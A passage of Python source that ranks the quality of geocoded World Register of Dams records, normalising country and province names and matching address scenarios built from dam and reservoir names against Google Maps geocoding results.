state_ISO_array.append((row[0]).lower().strip()) state_NAME_array.append((row[2]).lower().strip()) # Read names of South Korean provices used in ICOLD WRD and Google Maps Korea_states_ICOLD = [] Korea_states_Google = [] with open(Korea_state_lookup_table, "r") as csvinput: for row in csv.reader(csvinput, delimiter=','): Korea_states_ICOLD.append((row[0]).lower().strip()) Korea_states_Google.append((row[1]).lower().strip()) # Define input spreadsheet (geocoded WRD) and output spreadsheets. ------------------------------------------ infile_obj = openpyxl.load_workbook(geocoded_ICOLD) infile_sheet = infile_obj.active outfile_obj = xlsxwriter.Workbook(geocoded_ICOLD_QA) outfile_sheet = outfile_obj.add_worksheet("Geocoded-WRD-QA") # Read original WRD records and their IDs (ICOLDIDs) infile_rows = [] infile_ICOLDIDs = [] for each_row in infile_sheet: row = [] for cell in each_row: if cell.value == None: row.append('') else: row.append(str(cell.value)) infile_rows.append(row) infile_ICOLDIDs.append((row[0]).lower().strip()) # Loop through each geocoded ICOLD WRD record and determine their QA rank. considered_IDs = [] # Initiate an array that will be gradually expanded by ICOLD IDs that have been evaluated. outfile_sheet_row = 0 for ii in range(0, len(infile_ICOLDIDs)): row = infile_rows[ii] # Read this ICOLD WRD record this_ICOLDID = infile_ICOLDIDs[ii] # Retrieve this ICOLD WRD ID if ii == 0: #header # Write header to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(row + ['QA_rank'])) outfile_sheet_row = outfile_sheet_row + 1 else: # Retrieve WRD attributes. dam_name = row[23].lower().strip() dam_other_name = row[26].lower().strip() reservoir_name = row[31].lower().strip() state_province = row[38].lower().strip() town_original = row[24].lower().strip() country = row[10].lower().strip() country_index = [i for i, x in enumerate(country_NAME_array) if x == country] this_country_ISO = country_ISO_array[country_index[0]] if (this_ICOLDID not in considered_IDs): # If this WRD record has not been evaluated. considered_IDs.append(this_ICOLDID) # Modify country names for certain districts/territories which are considered as a country in Google Maps but part of another country in ICOLD WRD. if state_province == 'taiwan': # In this example, Google considers Taiwan as a country, but ICOLD considers it as a province of China. this_country_ISO = 'tw' # Unify the country name based on Google standard just for consistency. country = 'taiwan' # Similarly, unify the following to Google standard. if state_province == 'hongkong': this_country_ISO = 'hk' country = 'hongkong' if state_province == 'faroe islands': this_country_ISO = 'fo' country = 'faroe islands' if state_province == 'greenland': this_country_ISO = 'gl' country = 'greenland' if state_province == 'puerto rico': this_country_ISO = 'pr' country = 'puerto rico' if state_province == 'reunion': this_country_ISO = 're' country = 'réunion' if state_province == 'guadeloupe': this_country_ISO = 'gp' country = 'guadeloupe' if state_province == 'martinique': this_country_ISO = 'mq' country = 'martinique' if state_province == 'mayotte': this_country_ISO = 'yt' country = 'mayotte' if state_province == 'isle of man': this_country_ISO = 'im' country = 'isle of man' if state_province == 'jersey': this_country_ISO = 'je' country = 'jersey' if state_province == 'guernsey': this_country_ISO = 'gg' country = 'guernsey' if state_province == 'guam': this_country_ISO = 'gu' country = 'guam' administrative_components = 'country:' + urllib.parse.quote(this_country_ISO) # Format the country component # Modify state/province names in the following regions so that their spellings are more consistent with those in Google Maps. if len(state_province)>=4: if state_province[-4:] == '.ssr': # Indicating a state in the former Soviet Union state_province = '' # Now an independent country if state_province == 'former yugoslav rep. of macedonia' or state_province == 'mold.' or state_province == 'tadjik.' or \ state_province == 'ukr.' or state_province == 'ukraine' or state_province == 'uzbek.' or \ state_province == 'argentina / uruguay' or state_province == 'argentina/paraguay' or state_province == 'zambia / zimbabwe': state_province = '' # Other similiar sitautions and probably mistakes in state/province assignments. if state_province == 'daghest.': # Use full spelling state_province = 'daghestan' if '/' in state_province: # If containing two states, use the first state state_province = (state_province.split('/')[0]).strip() if country == 'ireland': # delete 'co.' state_province = state_province[3:len(state_province)] if country == 'finland': # Provinces in WRD: ['e', 'm', 'n', 's', 'se', 'sw', 'w']. Not sure what they mean (Google does not use such provinces). state_province = '' if country == 'chile': # Provinces in WRD: ['atamaca', 'i región', 'ii región', 'iii región', 'iv región', 'región metropolitana', 'v región', 'vi región', 'vii región', 'viii región'] if state_province == 'i región': state_province = 'tarapacá region' if state_province == 'ii región': state_province = 'antofagasta region' if state_province == 'iii región' or state_province == 'atacama': state_province = 'atacama region' if state_province == 'iv región': state_province = 'coquimbo region' # 'región metropolitana' is consistent. if state_province == 'v región': state_province = 'valparaiso region' if state_province == 'vi región': state_province = "o'higgins region" if state_province == 'vii región': state_province = "maule region" if state_province == 'viii región': state_province = "bío bío region" if country == 'canada': # Provinces in WRD: ['alta', 'bc', 'man', 'nb', 'nb,maine,usa', 'nfld', 'ns', 'nwt', 'ont', 'ont/que', 'qc', 'qc/ont', 'sask', 'yukon'] if state_province == 'alta': state_province = 'ab' if state_province == 'man': state_province = 'mb' if state_province == 'nfld': state_province = 'nl' if state_province == 'nwt': state_province = 'nt' if state_province == 'ont': state_province = 'on' #if state_province == 'ont/que': # state_province = 'on' #if state_province == 'qc/ont': # state_province = 'qc' if state_province == 'sask': state_province = 'sk' if state_province == 'yukon': state_province = 'yt' if state_province == 'nb,maine,usa': state_province = 'nb' if country == 'sri lanka': # Provinces in WRD: ['', 'cp', 'ep', 'ncp', 'np', 'nwp', 'sab.p', 'sp', 'up', 'uva', 'wp'] if state_province == 'cp': state_province = 'central province' if state_province == 'ep': state_province = 'eastern province' if state_province == 'ncp': state_province = 'north central province' if state_province == 'np': state_province = 'north province' if state_province == 'nwp': state_province = 'north western province' if state_province == 'sab.p': state_province = 'sabaragamuwa province' if state_province == 'sp': state_province = 'southern province' if state_province == 'up': state_province = 'uva province' if state_province == 'uva': state_province = 'uva province' if state_province == 'wp': state_province = 'western province' if country == 'botswana': # Provinces in WRD: ['central', 'kgatleng', 'ne', 'se'], in Google ['central district', 'kgatleng district', 'north-east district', 'south-east district'] if state_province == 'central': state_province = 'central district' if state_province == 'kgatleng': state_province = 'kgatleng district' if state_province == 'ne': state_province = 'north-east district' if state_province == 'se': state_province = 'south-east district' if country == 'australia': # Provinces in WRD: ['australian capital territory', 'new south wales', 'new south west australiales', 'northern territory', \ #'nothern territory', 'queensland', 'south australia', 'tasmania', 'victoria', 'west australia'] #corrected below. if state_province == 'new south west australiales': state_province = 'new south wales' if state_province == 'nothern territory': state_province = 'northern territory' if state_province == 'west australia': state_province = 'western australia' # Invalidate state/province names in WRD if the names appear to be country names (except the situations in the IF statement) if state_province != '': if state_province != 'taiwan' and state_province != 'hongkong' and state_province != 'faroe islands' \ and state_province != 'greenland' and state_province != 'puerto rico' \ and state_province != 'reunion' and state_province != 'guadeloupe' and state_province != 'martinique' and state_province != 'mayotte' \ and state_province != 'isle of man' and state_province != 'jersey' and state_province != 'guernsey' and state_province != 'guam' \ and ((state_province == 'niger' and this_country_ISO == 'ng') == False) and ((state_province == 'luxembourg' and this_country_ISO == 'be') == False) \ and ((state_province == 'georgia' and this_country_ISO == 'us') == False): # For the last case, "Georgia" can also be a country. check_if_state_is_a_country_name = [i for i, x in enumerate(country_NAME_array_no_accent) if x == remove_accents(state_province)] if len(check_if_state_is_a_country_name) > 0: state_province = '' # Modify province names in South Korea if state_province != '' and (this_country_ISO == 'kr' or this_country_ISO == 'kp'): state_index = [i for i, x in enumerate(Korea_states_ICOLD) if x == state_province] state_province = Korea_states_Google[state_index[0]] # Use ISO codes for US states in order to increase geocoding accuracy. state_province_addr = state_province if this_country_ISO == 'us': state_index = [i for i, x in enumerate(state_NAME_array) if x == state_province] if len(state_index)>0: state_province_addr = state_ISO_array[state_index[0]] # Formulate address inputs for geocoding (see Table 4 in Wang et al. (2021)) reservoir_norm = 1 if len(reservoir_name)>10: if reservoir_name[-10:] == ' reservoir' or reservoir_name[:10] == 'reservoir ' or (' reservoir ' in reservoir_name): reservoir_norm = 0 elif reservoir_name[-5:] == ' lake' or reservoir_name[:5] == 'lake ' or (' lake ' in reservoir_name): reservoir_norm = 0 elif len(reservoir_name)>5: if reservoir_name[-5:] == ' lake' or reservoir_name[:5] == 'lake ' or (' lake ' in reservoir_name): reservoir_norm = 0 dam_norm = 1 if len(dam_name)>4: if dam_name[-4:] == ' dam' or dam_name[:4] == 'dam ' or (' dam ' in dam_name): dam_norm = 0 otherdam_norm = 1 if len(dam_other_name)>4: if dam_other_name[-4:] == ' dam' or dam_other_name[:4] == 'dam ' or (' dam ' in dam_other_name): otherdam_norm = 0 # Generate the address list (which contains different scenarios of formatted addresses) Sc_list = [] if dam_name == '' and dam_other_name == '': # Only reservoir name exists if reservoir_norm == 0: if state_province != '': Sc_list.append([reservoir_name, state_province_addr]) Sc_list.append([reservoir_name]) else: # Meaning there is no 'reservoir' in the name (reservoir_norm == 1) if state_province != '': Sc_list.append([reservoir_name+' reservoir', state_province_addr]) Sc_list.append([reservoir_name+' reservoir']) if state_province != '': Sc_list.append([reservoir_name+' dam', state_province_addr]) Sc_list.append([reservoir_name+' dam']) if state_province != '': Sc_list.append([reservoir_name+' lake', state_province_addr]) Sc_list.append([reservoir_name+' lake']) Sc_list.append([reservoir_name]) elif dam_name == '' and reservoir_name == '': # Only dam_other_name exists if otherdam_norm == 0: if state_province != '': Sc_list.append([dam_other_name, state_province_addr]) Sc_list.append([dam_other_name]) else: if state_province != '': Sc_list.append([dam_other_name+' dam', state_province_addr]) Sc_list.append([dam_other_name+' dam']) if state_province != '': Sc_list.append([dam_other_name+' reservoir', state_province_addr]) Sc_list.append([dam_other_name+' reservoir']) if state_province != '': Sc_list.append([dam_other_name+' lake', state_province_addr]) Sc_list.append([dam_other_name+' lake']) Sc_list.append([dam_other_name]) elif dam_other_name == '' and reservoir_name == '': # Only dam_name exists if dam_norm == 0: if state_province != '': Sc_list.append([dam_name, state_province_addr]) Sc_list.append([dam_name]) else: if state_province != '': Sc_list.append([dam_name+' dam', state_province_addr]) Sc_list.append([dam_name+' dam']) if state_province != '': Sc_list.append([dam_name+' reservoir', state_province_addr]) Sc_list.append([dam_name+' reservoir']) if state_province != '': Sc_list.append([dam_name+' lake', state_province_addr]) Sc_list.append([dam_name+' lake']) Sc_list.append([dam_name]) elif dam_name != '' and dam_other_name != '' and reservoir_name == '': if dam_norm == 0: if state_province != '': Sc_list.append([dam_name, state_province_addr]) Sc_list.append([dam_name]) else: if state_province != '': Sc_list.append([dam_name+' dam', state_province_addr]) Sc_list.append([dam_name+' dam']) if otherdam_norm == 0: if state_province != '': Sc_list.append([dam_other_name, state_province_addr]) Sc_list.append([dam_other_name]) else: if state_province != '': Sc_list.append([dam_other_name+' dam', state_province_addr]) Sc_list.append([dam_other_name+' dam']) if dam_norm == 1: if state_province != '': Sc_list.append([dam_name+' reservoir', state_province_addr]) Sc_list.append([dam_name+' reservoir']) if otherdam_norm == 1: if state_province != '': Sc_list.append([dam_other_name+' reservoir', state_province_addr]) Sc_list.append([dam_other_name+' reservoir']) if dam_norm == 1: if state_province != '': Sc_list.append([dam_name+' lake', state_province_addr]) Sc_list.append([dam_name+' lake']) if otherdam_norm == 1: if state_province != '': Sc_list.append([dam_other_name+' lake', state_province_addr]) Sc_list.append([dam_other_name+' lake']) if dam_norm == 1: Sc_list.append([dam_name]) if otherdam_norm == 1: Sc_list.append([dam_other_name]) elif dam_name != '' and dam_other_name == '' and reservoir_name != '': if dam_norm == 0: if state_province != '': Sc_list.append([dam_name, state_province_addr]) Sc_list.append([dam_name]) else: if state_province != '': Sc_list.append([dam_name+' dam', state_province_addr]) Sc_list.append([dam_name+' dam']) if reservoir_norm == 0: if state_province != '': Sc_list.append([reservoir_name, state_province_addr]) Sc_list.append([reservoir_name]) else: if state_province != '': Sc_list.append([reservoir_name+' reservoir', state_province_addr]) Sc_list.append([reservoir_name+' reservoir']) if dam_norm == 1: if state_province != '': Sc_list.append([dam_name+' reservoir', state_province_addr]) Sc_list.append([dam_name+' reservoir']) if reservoir_norm == 1: if state_province != '': Sc_list.append([reservoir_name+' dam', state_province_addr]) Sc_list.append([reservoir_name+' dam']) if state_province != '': Sc_list.append([reservoir_name+' lake', state_province_addr]) Sc_list.append([reservoir_name+' lake']) if dam_norm == 1: if state_province != '': Sc_list.append([dam_name+' lake', state_province_addr]) Sc_list.append([dam_name+' lake']) Sc_list.append([dam_name]) if reservoir_norm == 1: Sc_list.append([reservoir_name]) elif dam_name == '' and dam_other_name != '' and reservoir_name != '': if otherdam_norm == 0: if state_province != '': Sc_list.append([dam_other_name, state_province_addr]) Sc_list.append([dam_other_name]) else: if state_province != '': Sc_list.append([dam_other_name+' dam', state_province_addr]) Sc_list.append([dam_other_name+' dam']) if reservoir_norm == 0: if state_province != '': Sc_list.append([reservoir_name, state_province_addr]) Sc_list.append([reservoir_name]) else: if state_province != '': Sc_list.append([reservoir_name+' reservoir', state_province_addr]) Sc_list.append([reservoir_name+' reservoir']) if otherdam_norm == 1: if state_province != '': Sc_list.append([dam_other_name+' reservoir', state_province_addr]) Sc_list.append([dam_other_name+' reservoir']) if reservoir_norm == 1: if state_province != '': Sc_list.append([reservoir_name+' dam', state_province_addr]) Sc_list.append([reservoir_name+' dam']) if state_province != '': Sc_list.append([reservoir_name+' lake', state_province_addr]) Sc_list.append([reservoir_name+' lake']) if otherdam_norm == 1: if state_province != '': Sc_list.append([dam_other_name+' lake', state_province_addr]) Sc_list.append([dam_other_name+' lake']) Sc_list.append([dam_other_name]) if reservoir_norm == 1: Sc_list.append([reservoir_name]) elif dam_name != '' and dam_other_name != '' and reservoir_name != '': if dam_norm == 0: if state_province != '': Sc_list.append([dam_name, state_province_addr]) Sc_list.append([dam_name]) else: if state_province != '': Sc_list.append([dam_name+' dam', state_province_addr]) Sc_list.append([dam_name+' dam']) if otherdam_norm == 0: if state_province != '': Sc_list.append([dam_other_name, state_province_addr]) Sc_list.append([dam_other_name]) else: if state_province != '': Sc_list.append([dam_other_name+' dam', state_province_addr]) Sc_list.append([dam_other_name+' dam']) if reservoir_norm == 0: if state_province != '': Sc_list.append([reservoir_name, state_province_addr]) Sc_list.append([reservoir_name]) else: if state_province != '': Sc_list.append([reservoir_name+' reservoir', state_province_addr]) Sc_list.append([reservoir_name+' reservoir']) if dam_norm == 1: if state_province != '': Sc_list.append([dam_name+' reservoir', state_province_addr]) Sc_list.append([dam_name+' reservoir']) if otherdam_norm == 1: if state_province != '': Sc_list.append([dam_other_name+' reservoir', state_province_addr]) Sc_list.append([dam_other_name+' reservoir']) if reservoir_norm == 1: if state_province != '': Sc_list.append([reservoir_name+' dam', state_province_addr]) Sc_list.append([reservoir_name+' dam']) if state_province != '': Sc_list.append([reservoir_name+' lake', state_province_addr]) Sc_list.append([reservoir_name+' lake']) if dam_norm == 1: if state_province != '': Sc_list.append([dam_name+' lake', state_province_addr]) Sc_list.append([dam_name+' lake']) if otherdam_norm == 1: if state_province != '': Sc_list.append([dam_other_name+' lake', state_province_addr]) Sc_list.append([dam_other_name+' lake']) if dam_norm == 1: Sc_list.append([dam_name]) if otherdam_norm == 1: Sc_list.append([dam_other_name]) if reservoir_norm == 1: Sc_list.append([reservoir_name]) # Filter geocoding solutions for this ICOLD ID (WRD record) # C1 (as in Table 5, Wang et al. (2021)): 1, 1.1, 1.2, 1.5 (here below) # C2: 2, 2.5 # C3: 3, 3.5, 4, 4.5 # C4: 5, 5.5, 6, 6.5 # C5: 7, 7.5, 8, 8.5 if this_country_ISO != 'cn': # If the country is not China, use a slightly adjusted order of the address scenario in QA ranking. # Here we increase the iteration level of country name from level 3 (as used in geocoding) now to # level 1. In other words, for each comibination of dam/reservoir name and state/province, we first # include and then exclude the country name. This seems to lead to a more accurate geocoding result # in a faster way. This decision was based on experimentations, and may not always reflect the cases # all the time. Such details can be adjusted based on user discretion, and may not affect too much # the overall result and conclusion. Sc_list_cleaned = [] for this_scenario in Sc_list: text_encoded_addr = '' # Add ", " between each element to generate encoded_addr (searching SQL) for this_element in this_scenario: if this_element != '': # If this element is not blank text_encoded_addr = text_encoded_addr + this_element + ', ' text_encoded_addr = text_encoded_addr[0 : len(text_encoded_addr)-2] # Delete the ending ', ' Sc_list_cleaned.append(text_encoded_addr) # Retrieve all geocoded WRD records that share the same ICOLDID (this_ICOLDID) same_ICOLDID_indices = [i for i, x in enumerate(infile_ICOLDIDs) if x == this_ICOLDID] # Retrieve geocoding information for these records local_addresses = [] local_encoded_addresses = [] local_match = [] local_scenarios = [] local_geocoded_dam_name = [] for ID_index in same_ICOLDID_indices: local_addresses.append(infile_rows[ID_index][61]) local_encoded_addresses.append(infile_rows[ID_index][62]) local_match.append((infile_rows[ID_index][82]).lower().strip()) local_scenarios.append((infile_rows[ID_index][83]).lower().strip()) local_geocoded_dam_name.append((infile_rows[ID_index][90]).lower().strip()) # Rank QA levels of each of the geocoded results associated with the same ICOLD ID, and write the best one to the output. good_passed = 0 # "0" meaning the best possible rank has not been reached. GOOD_ICOLDID_indices = [] # Array containing indices for this QA rank. GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'complete-match'] if state_province != '' and town_original != '': QA_rank = [1] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if x == 'in-country in-state in-town' or x == 'in-country in-state in-town-2' \ or x == 'in-country in-state-2 in-town' or x == 'in-country in-state-2 in-town-2'] elif state_province != '' and town_original == '': QA_rank = [1.1] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if x == 'in-country in-state unknown-town' or x == 'in-country in-state-2 unknown-town'] elif state_province == '' and town_original != '': QA_rank = [1.1] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if x == 'in-country unknown-state in-town' or x == 'in-country unknown-state in-town-2'] elif state_province == '' and town_original == '': QA_rank = [1.2] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if x == 'in-country unknown-state unknown-town'] else: GOOD_ICOLDID_indices_2 = [] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) # Check if records for this QA_rank exists or not. if len(GOOD_ICOLDID_indices) > 0: # Meaning this QA_rank exists. GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] if '&components=country:' in local_encoded_addresses[GOOD_ICOLDID_index]: GOOD_local_addresses_rank.append(rank_index[0]) else: GOOD_local_addresses_rank.append(rank_index[0]+0.1) # To lower the rank a little. GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: # Name matches good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with the best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. QA_rank = [1.5] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'partial-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if \ x == 'in-country in-state in-town' or \ x == 'in-country in-state in-town-2' or \ x == 'in-country in-state-2 in-town' or \ x == 'in-country in-state-2 in-town-2'] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] if '&components=country:' in local_encoded_addresses[GOOD_ICOLDID_index]: GOOD_local_addresses_rank.append(rank_index[0]) else: GOOD_local_addresses_rank.append(rank_index[0]+0.1) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: #name match exists good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. QA_rank = [2] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'complete-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if \ x == 'in-country in-state out-town' or \ x == 'in-country in-state unknown-town' or \ x == 'in-country in-state-2 out-town' or \ x == 'in-country in-state-2 unknown-town'] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] if '&components=country:' in local_encoded_addresses[GOOD_ICOLDID_index]: GOOD_local_addresses_rank.append(rank_index[0]) else: GOOD_local_addresses_rank.append(rank_index[0]+0.1) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. QA_rank = [2.5] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'partial-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if \ x == 'in-country in-state out-town' or \ x == 'in-country in-state unknown-town' or \ x == 'in-country in-state-2 out-town' or \ x == 'in-country in-state-2 unknown-town'] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] if '&components=country:' in local_encoded_addresses[GOOD_ICOLDID_index]: GOOD_local_addresses_rank.append(rank_index[0]) else: GOOD_local_addresses_rank.append(rank_index[0]+0.1) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. QA_rank = [3] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'complete-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if \ x == 'in-country unknown-state in-town' or \ x == 'in-country unknown-state in-town-2'] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] if '&components=country:' in local_encoded_addresses[GOOD_ICOLDID_index]: GOOD_local_addresses_rank.append(rank_index[0]) else: GOOD_local_addresses_rank.append(rank_index[0]+0.1) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. QA_rank = [3.5] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'partial-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if \ x == 'in-country unknown-state in-town' or \ x == 'in-country unknown-state in-town-2'] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] if '&components=country:' in local_encoded_addresses[GOOD_ICOLDID_index]: GOOD_local_addresses_rank.append(rank_index[0]) else: GOOD_local_addresses_rank.append(rank_index[0]+0.1) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. QA_rank = [4] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'complete-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if \ x == 'in-country out-state in-town' or \ x == 'in-country out-state in-town-2'] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] if '&components=country:' in local_encoded_addresses[GOOD_ICOLDID_index]: GOOD_local_addresses_rank.append(rank_index[0]) else: GOOD_local_addresses_rank.append(rank_index[0]+0.1) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, local_geocoded_dam_name[GOOD_ICOLDID_index], this_country_ISO)) # Rank the indices based on GOOD_local_addresses_rank ranked_indices = [i[0] for i in sorted(enumerate(GOOD_local_addresses_rank), key=lambda x:x[1])] if max(GOOD_local_dam_name_pass) == 1: good_passed = 1 for this_rank_index in ranked_indices: if GOOD_local_dam_name_pass[this_rank_index] == 1: final_index = same_ICOLDID_indices[GOOD_ICOLDID_indices[this_rank_index]] # Write the result with this best address ranking to the output outfile_sheet.write_row(outfile_sheet_row, 0, tuple(infile_rows[final_index] + QA_rank)) outfile_sheet_row = outfile_sheet_row + 1 break if good_passed == 0: # Best possible rank not yet reached. QA_rank = [4.5] GOOD_ICOLDID_indices_1 = [i for i, x in enumerate(local_match) if x == 'partial-match'] GOOD_ICOLDID_indices_2 = [i for i, x in enumerate(local_scenarios) if \ x == 'in-country out-state in-town' or \ x == 'in-country out-state in-town-2'] GOOD_ICOLDID_indices = list(set(GOOD_ICOLDID_indices_1) & set(GOOD_ICOLDID_indices_2)) if len(GOOD_ICOLDID_indices) > 0: GOOD_local_addresses_rank = [] GOOD_local_dam_name_pass = [] for GOOD_ICOLDID_index in GOOD_ICOLDID_indices: rank_index = [i for i, x in enumerate(Sc_list_cleaned) if x == local_addresses[GOOD_ICOLDID_index]] if '&components=country:' in local_encoded_addresses[GOOD_ICOLDID_index]: GOOD_local_addresses_rank.append(rank_index[0]) else: GOOD_local_addresses_rank.append(rank_index[0]+0.1) GOOD_local_dam_name_pass.append(damname_similar_v2(similarity_threshold, dam_name, dam_other_name, reservoir_name, 